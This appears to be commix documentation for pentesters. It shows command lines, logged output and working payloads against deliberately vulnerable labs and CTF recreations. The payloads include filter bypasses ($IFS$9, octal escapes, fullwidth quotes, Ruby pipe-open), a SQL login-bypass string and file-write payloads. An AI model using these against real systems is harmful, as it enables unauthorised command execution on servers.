Repository navigation
Usage examples
Commix offers comprehensive support for command injection exploitation across a wide range of backend technologies and web application environments. Its flexible payload generation and injection techniques enable it to target diverse server-side languages and frameworks, including but not limited to the most commonly used ones.
This broad compatibility allows penetration testers and security researchers to assess and exploit command injection vulnerabilities in applications developed with various programming languages and platforms, ensuring thorough and effective testing coverage.
- PHP - Classic and advanced injection scenarios in PHP applications, including cookie, header, and POST parameters.
- Python - Injection in Python-powered web services, including Flask, Django, and custom APIs.
- Perl - CGI and other Perl-based web services vulnerable to command injection.
- Ruby - Exploitation of Ruby web apps or services with injection points.
- CGI - Classic Common Gateway Interface scripts (any language) vulnerable to shell injection.
- GCH - Generic command handler-based injection points.
- ASP.NET (Experimental) - Emerging support for command injection in ASP.NET applications.
- JSP (Experimental) - Experimental handling of Java Server Pages environments.
This document presents a curated collection of commix usage examples targeting various intentionally vulnerable applications.
| # | Target application | Description |
|---|---|---|
| 1 | Damn Vulnerable Web Application (DVWA) | A deliberately vulnerable PHP/MySQL web app designed to practice and test common web vulnerabilities, including command injection at various security levels. |
| 2 | php-Charts 1.0 | An open-source PHP charting tool with a known command injection vulnerability via GET parameters that can be exploited with custom payload encapsulation. |
| 3 | OWASP Mutillidae | A free, open-source, deliberately vulnerable web app providing a wide range of vulnerabilities for learning purposes, including injection via POST parameters with customizable headers and proxy support. |
| 4 | Persistence | A vulnerable web application designed to demonstrate advanced command injection exploitation using alternative shell environments like Python. |
| 5 | Damn Vulnerable NodeJS Application | A Node.js-based vulnerable app used for learning, containing command injection flaws through POST parameters passed unsafely to system commands. |
| 6 | Kioptrix Level 1.1 (#2) | A vulnerable Linux virtual machine used for penetration testing practice, with command injection in authenticated POST requests. |
| 7 | Kioptrix 2014 (#5) | Another Kioptrix VM variant featuring command injection vulnerabilities exploitable through GET requests with header manipulation. |
| 8 | CVE-2014-6271 / Shellshock | A vulnerability affecting Bash shell that allows remote command execution via environment variables; exploitable on vulnerable CGI scripts and HTTP headers. |
| 9 | commix-testbed (cookie) | A controlled test environment provided by commix for experimenting with cookie-based command injection techniques. |
| 10 | commix-testbed (user-agent) | Part of the commix testbed simulating injection via the User-Agent HTTP header to demonstrate header-based command injection. |
| 11 | commix-testbed (referer) | Commix testbed scenario demonstrating command injection through the Referer HTTP header. |
| 12 | Flick 2 | A vulnerable web application featuring injection points in custom HTTP headers, often used for testing Base64-encoded payloads and token authentication bypasses. |
| 13 | commix-testbed (JSON-based) | Commix testbed environment supporting testing of command injection in JSON-formatted HTTP request bodies. |
| 14 | Damn Vulnerable GraphQL Application | A deliberately vulnerable GraphQL API showcasing injection flaws in both mutations and queries, useful for security testing of modern API frameworks. |
| 15 | commix-testbed (XML-based) | Test environment designed to demonstrate command injection in XML payloads submitted via HTTP requests. |
| 16 | Damn Vulnerable Web Sockets | A vulnerable web application demonstrating command injection in services accessible only through WebSocket proxies, extending testing capabilities to real-time communication protocols. |
| 17 | YesWeHack Dojo #30: Terminal Isolation | A sprintf/escapeshellarg logic flaw lets $(...) command substitution survive inside a re-quoted echo, gated by a filter blocking quotes/backticks/braces and requiring the whole argument stay whitespace-free. |
| 18 | YesWeHack Dojo #36: Shell Escape | Chained broken access control (SQL LIKE wildcard bypass) and OS command injection, gated by a filter blocking every letter plus _*^@%+=:,./-. |
| 19 | YesWeHack Dojo #41: Ruby Treasure | A filename filter matches ^[a-zA-Z0-9_-]+$ per line rather than across the whole string, so one clean line anywhere in a multi-line value is enough; Ruby's IO.read runs the rest as a shell command when the value starts with |. |
| 20 | YesWeHack Dojo #46: Ghost Whisper | A str.replace("'", "_") filter runs before unicodedata.normalize("NFKC", ...), so a fullwidth apostrophe survives the replace and is folded back into a real ' afterwards, closing a quote the app wraps the value in. |
| 21 | commix-testbed (out-of-band) | Commix testbed scenario proving execution over an out-of-band (interactsh) channel, for a target whose response never confirms it and never delays. |
| 22 | Root-Me: Command injection - Filter bypass | A blacklist strips \ $ | \ ; & < > ]` outright, leaving neither of POSIX shell's two command-substitution syntaxes standing - only a bare newline still separates commands. |
Each example includes:
- A short explanation of the technique or scenario.
- The vulnerable target endpoint or parameter.
- The exact command used to exploit the vulnerability.
Every run that finds something ends the same way: the injection point(s), and then what the target
was worked out to be - the technology the response headers named and the shell that ran the payload.
Both were settled by requests the detection had to send anyway, so none of it costs a request, and
a line whose answer was never learned is left out rather than guessed at (the operating system is
not part of this summary - it is only reported when --current-user, --hostname, --sys-info or
similar asks the target for it by name):
PoC (verified against http://localhost:8081):
[14:59:15] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
Nothing is enumerated on its own: --current-user, --hostname, --sys-info and the rest run
only when they are asked for.
- 1. Damn Vulnerable Web Application
- 2. php-Charts 1.0
- 3. OWASP Mutillidae
- 4. Persistence
- 5. Damn Vulnerable NodeJS Application
- 6. Kioptrix: Level 1.1 (#2)
- 7. Kioptrix: 2014 (#5)
- 8. CVE-2014-6271/Shellshock
- 9. commix-testbed (cookie)
- 10. Example against commix-testbed (user-agent)
- 11. commix-testbed (referer)
- 12. Flick 2
- 13. commix-testbed (JSON-based)
- 14. Damn Vulnerable GraphQL Application
- 15. commix-testbed (XML-based)
- 16. Damn Vulnerable Web Sockets
- 17. YesWeHack Dojo #30: Terminal Isolation
- 18. YesWeHack Dojo #36: Shell Escape
- 19. YesWeHack Dojo #41: Ruby Treasure
- 20. YesWeHack Dojo #46: Ghost Whisper
- 21. commix-testbed (out-of-band)
- 22. Root-Me: Command injection - Filter bypass
Command injection in vulnerabilities/exec/, through the ip parameter of the Ping a device
form. The security level travels in the security cookie, next to the PHPSESSID of a logged-in
session, so one command line serves every level - what changes is how much of the payload survives
the application's filtering, and therefore which technique gets to prove the injection.
The runs below walk the levels in order. --flush-session is in each of them because the finding
from the previous level would otherwise be resumed from the session file instead of tested again.
Low security: nothing is filtered. ;, && and | all chain a command of your own, so the
parameter answers to every technique:
python commix.py --url="http://dvwa/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--flush-session \
--cookie="security=low; PHPSESSID=nq30op434117mo7o2oe5bl7is4"Identified the following injection point with a total of 63 HTTP(S) requests:
Parameter: ip (POST)
* Technique: Results-based
* Type: Classic command injection
* Payload: LFH;echo ENKIAB$((71+51))$(echo ENKIAB)ENKIAB;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: LFH;JVI="$(echo RBZHGX)";if [ ${#JVI} -eq 6 ];then echo LRBUBN;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: LFH;JVI=$(echo YNUHNR);JVI1=${#JVI};sleep $((5*(6==$JVI1)));
* Technique: File-based
* Type: Blind command injection
* Payload: LFH;echo BCYBIS >/var/www/html/BCYBIS.txt;
[23:12:18] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.25'
Command shell type: 'POSIX'
[23:12:18] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
[23:12:18] [info] Cleaning up the file ('BCYBIS.txt') used for command execution.
[23:12:18] [info] Re-run with the '--os-shell' switch to access a command shell.
Medium security: ; and && are removed from the parameter before it reaches the shell. A
single & is not, so the classic technique carries on with that separator, while the two that
follow it fall back to |:
python commix.py --url="http://dvwa/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--flush-session \
--cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"Identified the following injection point with a total of 68 HTTP(S) requests:
Parameter: ip (POST)
* Technique: Results-based
* Type: Classic command injection
* Payload: JBT&echo STMCMV$((29+26))$(echo STMCMV)STMCMV&
* Technique: Boolean-based
* Type: Blind command injection
* Payload: JBT\nHPF="$(echo HDIQHT)"\nif [ ${#HPF} -eq 6 ]\nthen echo UNPHZO\nfi\n
* Technique: Time-based
* Type: Blind command injection
* Payload: JBT\nHPF=$(echo XYODIQ)\nHPF1=${#HPF}\nsleep $((5*(6==$HPF1)))\n
* Technique: File-based
* Type: Blind command injection
* Payload: JBT\necho CLXSYI >/var/www/html/CLXSYI.txt\n
[23:13:09] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.25'
Command shell type: 'POSIX'
[23:13:09] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
[23:13:09] [info] Cleaning up the file ('CLXSYI.txt') used for command execution.
[23:13:09] [info] Re-run with the '--os-shell' switch to access a command shell.
High security: the blacklist now takes &, ;, ||, `, -, $, (, ) and |
followed by a space. A bare | still chains, but a payload that reads its own output back cannot
be written without $( and ), so the classic and time-based ones are filtered down to something
the shell no longer executes - the heuristic test says as much before either is tried. What survives
the blacklist is echo, a redirect and a path, which is exactly the file-based payload, and the
same command line falls through to it on its own. The only answer it needs is the writable
directory, offered as /var/www/html/ already:
python commix.py --url="http://dvwa/vulnerabilities/exec/" \
--data="ip=127.0.0.1&Submit=Submit" \
--flush-session \
--cookie="security=high; PHPSESSID=nq30op434117mo7o2oe5bl7is4"[23:13:56] [warning] Heuristic (basic) test shows that POST parameter 'ip' might not be injectable.
[23:13:57] [info] Attempting to create a file in directory '/var/www/html/' for execution output.
POST parameter 'ip' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
Identified the following injection point with a total of 117 HTTP(S) requests:
Parameter: ip (POST)
* Technique: File-based
* Type: Blind command injection
* Payload: ABB\necho CNDBTF >/var/www/html/CNDBTF.txt\n
[23:13:57] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.25'
Command shell type: 'POSIX'
[23:13:57] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
[23:13:57] [info] Cleaning up the file ('CNDBTF.txt') used for command execution.
[23:13:57] [info] Re-run with the '--os-shell' switch to access a command shell.
Naming the technique that works (--technique=f) and the directory it writes into
(--web-root="/var/www/html/") finds the same thing for fewer requests - 49 instead of 117 - by not
spending any on the two techniques this level defeats.
GET-based parameter injection with custom prefix / suffix. This example demonstrates injection via a vulnerable type parameter using custom payload encapsulation to bypass basic filtering.
python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=test" \
--prefix="'" \
--suffix="//"POST parameter in DNS lookup feature, with custom headers and proxy. This example uses commix to inject via target_host while supplying additional headers and routing traffic through a proxy (e.g., Burp Suite).
python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" \
--data="target_host=127.0.0.1" \
--headers="Accept-Language:fr\nETag:123\n" \
--proxy="127.0.0.1:8081"4. Persistence
Command injection in debug.php, using an alternative interpreter. Commix can build its payloads with an alternative interpreter for stable exploitation; here, Python is used for environments where bash or sh are not suitable.
python commix.py --url="http://192.168.178.8/debug.php" \
--data="addr=127.0.0.1" \
--interpreter="Python"Command injection in address parameter via NodeJS endpoint. This POST-based injection targets Node.js backends that may pass input directly to shell commands.
python commix.py --url="http://127.0.0.1:9090/app/ping" \
--data "address=127.0.0.1" \
--cookie="connect.sid=s%3AIdvte5ieuGQC5C8jt5aSyUTSF8xZtls8.3fwCVsyypx%2BLGXtiF1JTBrqbmjp%2B29vwKoL0uxcHub8"POST injection after authentication bypass. This command demonstrates how commix can handle session-based injections, including logging in via --auth-url before attacking.
python commix.py --url="http://192.168.178.2/pingit.php" \
--data="ip=127.0.0.1E&submit=submit" \
--auth-url="http://192.168.178.2/index.php" \
--auth-data="uname=admin&psw=%27+OR+1%3D1--+-&btnLogin=Login"GET injection with custom User-Agent and specific technique. This command uses a forged User-Agent header and a specific technique (--technique="f") against drawimage.php.
python commix.py --url="http://192.168.178.6:8080/phptax/drawimage.php?pfilez=127.0.0.1&pdf=make" \
--user-agent="Mozilla/4.0 Mozilla4_browser" \
--technique="f" \
--web-root="/"Shellshock-vulnerable CGI endpoint
Commix can directly exploit Bash environment variable injection vulnerabilities (commonly known as Shellshock) using the --module=shellshock option. This allows detection and exploitation of affected targets by injecting payloads through vulnerable HTTP headers or parameters that influence Bash environment variables.
python commix.py --url="http://192.168.178.4/cgi-bin/status/" --module=shellshockCommix supports exploiting command injection vulnerabilities through Cookie parameters. This example focuses on the addr cookie value for injection.
python commix.py --url="http://commix-testbed/scenarios/cookie/cookie(classic).php" \
--level=2 \
--cookie="addr=127.0.0.1"PoC (verified against http://localhost:8081): The addr cookie is the injection point; adding
--os-cmd="id" to the command above confirms exploitation. Left unrestricted, commix confirms the
parameter is injectable via all four techniques:
Identified the following injection point with a total of 58 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo DDKZJD$((7+44))$(echo DDKZJD)DDKZJD;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1&&RNV="$(echo WKNWNY)"&&[ ${#RNV} -eq 6 ]&&:
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1&sleep 0 &&RNV=$(echo LXTHYW)&&RNV1=${#RNV}&&[ 6 -eq $RNV1 ]&&sleep 5&&:
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1&&echo PBLMZA >/var/www/commix-testbed.com/public_html/PBLMZA.txt&&:
[23:04:58] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[23:04:58] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
10. Example against commix-testbed (user-agent)
This example demonstrates exploiting a classic injection vulnerability in the User-Agent header by specifying the injection point with the -p user-agent flag. The --level=3 option increases the number of tests and payloads to improve detection accuracy.
python commix.py --url="http://commix-testbed/scenarios/user-agent/ua(classic).php" \
--level=3 \
-p user-agentPoC (verified against http://localhost:8081): The User-Agent header is the injection point;
adding --os-cmd="id" to the command above confirms exploitation. Left unrestricted, commix confirms
the parameter is injectable via all four techniques:
Identified the following injection point with a total of 162 HTTP(S) requests:
Parameter: user-agent (HTTP Header)
* Technique: Results-based
* Type: Classic command injection
* Payload: commix/v4.2.dev179 (https://commixproject.com)';echo DXIGYO$((1+80))$(echo DXIGYO)DXIGYO;'
* Technique: Boolean-based
* Type: Blind command injection
* Payload: commix/v4.2.dev179 (https://commixproject.com)'\nMNR="$(echo WKLLRO)"\n[ ${#MNR} -eq 6 ]\n'
* Technique: Time-based
* Type: Blind command injection
* Payload: commix/v4.2.dev179 (https://commixproject.com)';MNR=$(echo BJITZX);MNR1=${#MNR};sleep $((5*(6==$MNR1)));'
* Technique: File-based
* Type: Blind command injection
* Payload: commix/v4.2.dev179 (https://commixproject.com)';echo TZRSNQ >/var/www/commix-testbed.com/public_html/TZRSNQ.txt;'
[23:05:50] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[23:05:50] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
This example demonstrates exploiting a classic injection vulnerability in the Referer header by specifying the injection point with the -p referer flag. The --level=3 option increases the number of tests and payloads to improve detection accuracy.
python commix.py --url="http://commix-testbed/scenarios/referer/referer(classic).php" \
--level=3 \
-p refererPoC (verified against http://localhost:8081): The Referer header is the injection point;
adding --os-cmd="id" to the command above confirms exploitation. Left unrestricted, commix confirms
the parameter is injectable via all four techniques:
Identified the following injection point with a total of 162 HTTP(S) requests:
Parameter: referer (HTTP Header)
* Technique: Results-based
* Type: Classic command injection
* Payload: http://localhost:8081/scenarios/referer/referer(classic).php';echo KAQPNZ$((22+41))$(echo KAQPNZ)KAQPNZ;'
* Technique: Boolean-based
* Type: Blind command injection
* Payload: http://localhost:8081/scenarios/referer/referer(classic).php'\nJLR="$(echo IOKNTG)"\n[ ${#JLR} -eq 6 ]\n'
* Technique: Time-based
* Type: Blind command injection
* Payload: http://localhost:8081/scenarios/referer/referer(classic).php';JLR=$(echo XWBMRT);JLR1=${#JLR};sleep $((5*(6==$JLR1)));'
* Technique: File-based
* Type: Blind command injection
* Payload: http://localhost:8081/scenarios/referer/referer(classic).php';echo IRMRRS >/var/www/commix-testbed.com/public_html/IRMRRS.txt;'
[23:06:29] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[23:06:29] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
12. Flick 2
Commix supports injecting payloads into custom HTTP headers, including authentication headers, with optional Base64 encoding. This is especially useful when testing APIs or services that require token-based authentication and expect Base64-encoded data in headers.
python commix.py --url="https://192.168.2.12/do/cmd/*" \
--headers="X-UUID:commix\nX-Token:dTGzPdMJlOoR3CqZJy7oX9JU72pvwNEF" \
--param-encoding=base64Commix automatically detects JSON content in the request body and targets specified fields for injection. In this example, the addr field within the JSON payload is modified to exploit command injection vulnerabilities.
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic_json.php" \
--data='{"addr":"127.0.0.1","name":"ancst"}'PoC (verified against http://localhost:8081): The JSON body's addr field is the injection
point; adding --os-cmd="id" to the command above confirms exploitation. Left unrestricted, commix
confirms the parameter is injectable via all four techniques:
Identified the following injection point with a total of 55 HTTP(S) requests:
Parameter: addr (POST)
* Technique: Results-based
* Type: Classic command injection
* Payload: ;echo QOKEVQ$((80+62))$(echo QOKEVQ)QOKEVQ;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: ;HKO="$(echo REDWPX)";[ ${#HKO} -eq 6 ];
* Technique: Time-based
* Type: Blind command injection
* Payload: ;HKO=$(echo RRFAHH);HKO1=${#HKO};sleep $((5*(6==$HKO1)));
* Technique: File-based
* Type: Blind command injection
* Payload: ;echo IENAIP >/var/www/commix-testbed.com/public_html/IENAIP.txt;
[23:07:14] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[23:07:14] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Commix supports detecting and exploiting command injection vulnerabilities within GraphQL mutations and queries by injecting payloads into parameters embedded in the GraphQL request body.
In following both cases, commix parses the JSON payload and injects malicious commands into the specified GraphQL parameters to test and exploit command injection flaws.
-
ImportPasteMutation Injection: Example of exploiting injection via a GraphQL mutation.
python commix.py --url="http://127.0.0.1:5000/graphql" \
--data='{"query":"mutation{importPaste(host:\"commixproject.com\" , port:80 , path:\"/\" , scheme:\"http\"){result}}"}'-
systemDiagnosticsQuery Injection: Example of targeting a vulnerable GraphQL query, injecting into thecmdparameter.
python commix.py --url="http://127.0.0.1:5000/graphql" \
--data='{"query":"query {systemDiagnostics(username:\"admin\" , password:\"admin123\" , cmd:\"test\")}"}' \
-p cmdCommix supports injecting payloads into XML data sent in the request body. This example targets the addr element within the XML structure, which is vulnerable to command injection.
python commix.py --url="http://commix-testbed/scenarios/regular/POST/classic_xml.php" \
--data='<?xml version="1.0" encoding="UTF-8"?><ping><addr>127.0.0.1</addr><count>4</count></ping>'PoC (verified against http://localhost:8081): The <addr> element is the injection point;
adding --os-cmd="id" to the command above confirms exploitation. Left unrestricted, commix confirms
the parameter is injectable via all four techniques:
Identified the following injection point with a total of 63 HTTP(S) requests:
Parameter: addr (POST)
* Technique: Results-based
* Type: Classic command injection
* Payload: PVZ;echo UPEHBS$((43+28))$(echo UPEHBS)UPEHBS;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: PVZ;VHX="$(echo DEKHBS)";if [ ${#VHX} -eq 6 ];then echo MFUNZX;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: PVZ;VHX=$(echo RVMKBG);VHX1=${#VHX};sleep $((5*(6==$VHX1)));
* Technique: File-based
* Type: Blind command injection
* Payload: PVZ;echo HOKDZW >/var/www/commix-testbed.com/public_html/HOKDZW.txt;
[23:07:57] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[23:07:57] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Commix can exploit command injection vulnerabilities in backends accessible only through WebSocket proxies. This method enables testing and exploitation in scenarios where direct HTTP access to the backend is unavailable, but traffic is proxied via WebSocket connections. By bridging traditional HTTP injection techniques with WebSocket communication, commix broadens the attack surface for modern web applications.
This setup requires an HTTP-to-WebSocket proxy that forwards HTTP requests to the WebSocket application, facilitating seamless injection testing over WebSocket protocols.
- Run the HTTP2WebSocket listener on port
3333to proxy requests to theWebSocketapp atws://dvws.local:8080:
python HTTP2WebSocket.py -l 3333 -t ws://dvws.local:8080- Once the HTTP-to-WebSocket proxy is established and listening on the specified port, commix sends its injection payloads to the proxied HTTP endpoint. By modifying parameters such as addr in the POST data, commix leverages the proxy to interact with the WebSocket-connected backend, triggering command injection vulnerabilities.
python commix.py --url="http://127.0.0.1:3333/command-execution" \
--data="addr=127.0.0.1"A single output parameter must read as exactly "cmd arg" - the whole raw value is split on
whitespace, and the request is rejected outright unless that produces exactly two pieces. arg then
has every ", ', `, { and } replaced with _, before being wrapped in
escapeshellarg(). For the echo command specifically, the app's own template re-wraps that
already-single-quoted value inside double quotes (sprintf('echo -n "%s"', $arg)) - single
quotes are inert data inside double quotes, but $(...) command substitution still expands there,
so anything shaped like $(...) inside arg runs for real.
Two things rule out every existing whitespace tamper: space2ifs needs the braces in ${IFS}, which
this filter blocks like any other brace; ansiquote/ansiquoteoctal need the single quotes in
$'...', which this filter blocks too. space2ifsraw replaces a space with $IFS$9 instead - no
braces, no quotes. $9 is an empty positional parameter in an ordinary run, so it contributes
nothing beyond cleanly ending the $IFS expansion: without it, $IFS run straight into a following
letter, digit or underscore would be read as a longer, different (and empty) variable name instead.
python commix.py --url="http://commix-testbed/scenarios/ctf/dojo30_terminal_isolation.php" \
--data="output=echo" --tamper="space2ifsraw,cmd2redir" --skip-calc --os-cmd="id"PoC (verified against commix-testbed's own recreation
of the challenge's filter, the live Dojo target no longer being reachable for automated testing):
--data's literal echo%20 supplies the one real space the "cmd arg" split needs, * marks where
commix's own payload goes (with nothing else around it to keep that payload itself whitespace-free),
and --skip-calc drops the + the default proof-of-execution check would otherwise need. Left
unrestricted, only results-based confirms - boolean/time/file-based all need ${...}, which the same
brace block catches:
Identified the following injection point with a total of 7 HTTP(S) requests:
Parameter: output (POST)
* Technique: Results-based
* Type: Classic command injection
* Payload: echo ;echo$IFS$9OVJYGY$(echo$IFS$9OVJYGY)OVJYGY;
[19:44:59] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[19:44:59] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
-
--os-cmd's own value is whitespace-free too, oncecmd2redirrewrites it:cat<>path(rather thancat path) opens the path for reading and writing and attaches it as the command's stdin, socatgiven no positional argument at all reads it from there instead. This needs the file writable by the process, not just readable - the tamper is of no use, and a plaincat pathremains the right choice, wherever whitespace is not the thing being avoided. - See Command injection testbeds for the original challenge link.
A cmd parameter is sanitized by a filter that rejects the request outright if it contains any
letter (A-Za-z) or any of _*^@%+=:,./-. Digits, $, \, ', whitespace and the common
separators (;, &, |) all pass through untouched.
No existing tamper cleared this: ansiquote already hides command names and paths as ANSI-C quoted
strings, but it uses hex escapes ($'\x63\x61\x74') - and the x in \x is itself a letter, so
a filter blocking every letter catches it too. ansiquoteoctal does the same rewrite with octal
escapes ($'\143\141\164') instead, which spell no letter at all. Combined with the existing
--skip-calc switch (which drops the + the default proof-of-execution check would otherwise need),
this clears the filter with no other technique restriction required - the other three techniques
fail cleanly on their own, since boolean/time/file-based all need = or - for assignment and test
operators that this filter also blocks.
python commix.py --url="http://commix-testbed/scenarios/ctf/dojo36_shell_escape.php?cmd=id" \
--tamper="ansiquoteoctal" --skip-calc --os-cmd="id"PoC (verified against commix-testbed's own recreation
of the challenge's filter, the live Dojo target no longer being reachable for automated testing):
left unrestricted, only results-based confirms - exactly as expected, since it's the one technique
whose payload needs neither = nor -:
Identified the following injection point with a total of 64 HTTP(S) requests:
Parameter: cmd (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: $'\151\144';$'\145\143\150\157' $'\124\123\117\123\131\130'$($'\145\143\150\157' $'\124\123\117\123\131\130')$'\124\123\117\123\131\130';
* Technique: File-based
* Type: Blind command injection
* Payload: $'\151\144';$'\145\143\150\157' $'\113\104\101\122\101\132' >$'\057\166\141\162\057\167\167\167\057\150\164\155\154\057\113\104\101\122\101\132\056\164\170\164';
[19:32:15] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[19:32:15] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
- The challenge also chains a SQL
LIKE-wildcard authorization bypass ahead of this filter; that half is a broken-access-control bug, not something a commix tamper addresses. - See Command injection testbeds for the original challenge link.
A page parameter is validated with /^[a-zA-Z0-9_-]+$/.match(filename) before being read as
IO.read("#{filename}.erb"). Ruby's ^/$ match at the start and end of every line, not of the
whole string, so .match returns true the moment any one line of a multi-line value is clean
alnum - the rest of the value can hold anything. Separately, Ruby's IO.read/IO.popen treat a
string starting with | as a command to run through a shell, not a filename to open.
Together, a value like "|cat ../../*.txt\nx" passes validation (line 2, "x", matches) and then
runs as a shell command (line 1, after the |) - no tamper script is needed, since nothing here
filters shell metacharacters at all; the whole obstacle is the per-line regex and Ruby's own
pipe-open convention. Two things make this awkward for a general-purpose tool:
-
|already sits among commix's own default candidate boundaries (as one of the built-in separators, tried as a prefix from--level=2on), so it does get tried automatically - but--prefixand an empty original parameter value do not combine cleanly (see the first NOTE below), so it has to be supplied as static content in the URL instead of via--prefix. - Nothing in commix builds a suffix shaped like "a real newline followed by an innocuous word",
because no other target so far has needed one;
--suffixsupplies it directly.
python commix.py --url="http://commix-testbed/scenarios/ctf/dojo41_ruby_treasure.rb?page=|" \
--suffix=$'\nx' --skip-calc --os-cmd="id"PoC (verified against commix-testbed's own recreation
of the challenge's validateFile/IO.read logic, the live Dojo target no longer being reachable for
automated testing):
Identified the following injection point with a total of 151 HTTP(S) requests:
Parameter: page (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: |echo OVBWKP$(echo OVBWKP)OVBWKP\nx
* Technique: Boolean-based
* Type: Blind command injection
* Payload: |\nISZ="$(echo JOSNGC)"\nif [ ${#ISZ} -eq 6 ]\nthen echo UDRZKJ\nfi\n\nx
* Technique: Time-based
* Type: Blind command injection
* Payload: |\nISZ=$(echo EERRER)\nISZ1=${#ISZ}\nsleep $((5*(6==$ISZ1)))\n\nx
* Technique: File-based
* Type: Blind command injection
* Payload: |\necho HKIRRM >/var/www/html/HKIRRM.txt\n\nx
[19:42:50] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, RB'
Command shell type: 'POSIX'
[19:42:50] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
-
--prefixon a parameter whose original value is empty does not land as just the prefix: an empty testable value falls back internally to a single space so the splice logic has something non-empty to work with, and that placeholder space is sent too, arriving before the prefix (" |payload"rather than"|payload"). Since|has to be the value's very first character here, the workaround is to write it directly into the URL or POST data next to the injection marker (page=|*) rather than pass it as--prefix, which never hits this path since the parameter then has a non-empty original value ("|") to begin with. -
--technique=ris not needed for correctness here (nothing blocks the boolean/time/file-based payloads' own characters); it just narrows a level-1 run to the one technique this PoC cites. - See Command injection testbeds for the challenge link.
A single input parameter is wrapped in single quotes before being run (echo -n '{msg}' | hexdump).
The app defends that quote with whisperMsg.replace("'", "_") - but the result is then passed through
unicodedata.normalize("NFKC", ...), which compatibility-folds a wide range of lookalike characters
into their plain ASCII form. The fullwidth apostrophe (U+FF07, ') is one of them: it isn't the '
the replace matches, so it passes straight through, and normalization turns it into a real '
afterwards - closing the quote the filter believed it had already neutralized.
No existing tamper does this. unicodequote replaces every ' in the payload with ', so
whichever prefix commix tries to close the wrapping quote with (--level=3 already brute-forces a
bare ' as one of its standard prefixes) arrives as the fullwidth character and is folded back on the
server side.
python commix.py --url="http://commix-testbed/scenarios/ctf/dojo46_ghost_whisper.py" \
--data="input=test" --level=3 --tamper="unicodequote" --skip-calc --os-cmd="id"PoC (verified against commix-testbed's own recreation of the challenge's filter, the live Dojo target sitting behind an authenticated SPA and no longer being reachable for automated testing): left unrestricted, only results-based confirms, since the injection point sits inside a quoted context no other technique's payload accounts for:
Identified the following injection point with a total of 140 HTTP(S) requests:
Parameter: input (POST)
* Technique: Results-based
* Type: Classic command injection
* Payload: test';echo LVROQI$(echo LVROQI)LVROQI;'
* Technique: Boolean-based
* Type: Blind command injection
* Payload: test'&&TWJ="$(echo PXXOAX)"&&[ ${#TWJ} -eq 6 ]&&:'
* Technique: Time-based
* Type: Blind command injection
* Payload: test'&sleep 0 &&TWJ=$(echo AJJFYI)&&TWJ1=${#TWJ}&&[ 6 -eq $TWJ1 ]&&sleep 5&&:'
* Technique: File-based
* Type: Blind command injection
* Payload: HOT'&&echo BALCPK >/var/www/html/BALCPK.txt&&:'
[19:39:13] [info] Fetching the target environment.
Web application technology: 'Apache 2.4.7, PY'
Command shell type: 'POSIX'
[19:39:13] [info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
Note
- The same bypass applies to any target that strips a quote before normalizing the value - not just
this one shape of filter - so
unicodequoteis not specific to theecho/hexdumpcontext here. - See Command injection testbeds for the original challenge link.
Where the target returns nothing useful and never delays, execution can still be proven through a
channel other than the HTTP response. With --oob, commix registers with an interactsh
server, injects a payload that makes the target reach that server, and treats the arriving
interaction as the proof. This detects injection points that the results-based and time-based
techniques both miss, and it costs no response delay, so it is markedly faster than blind timing.
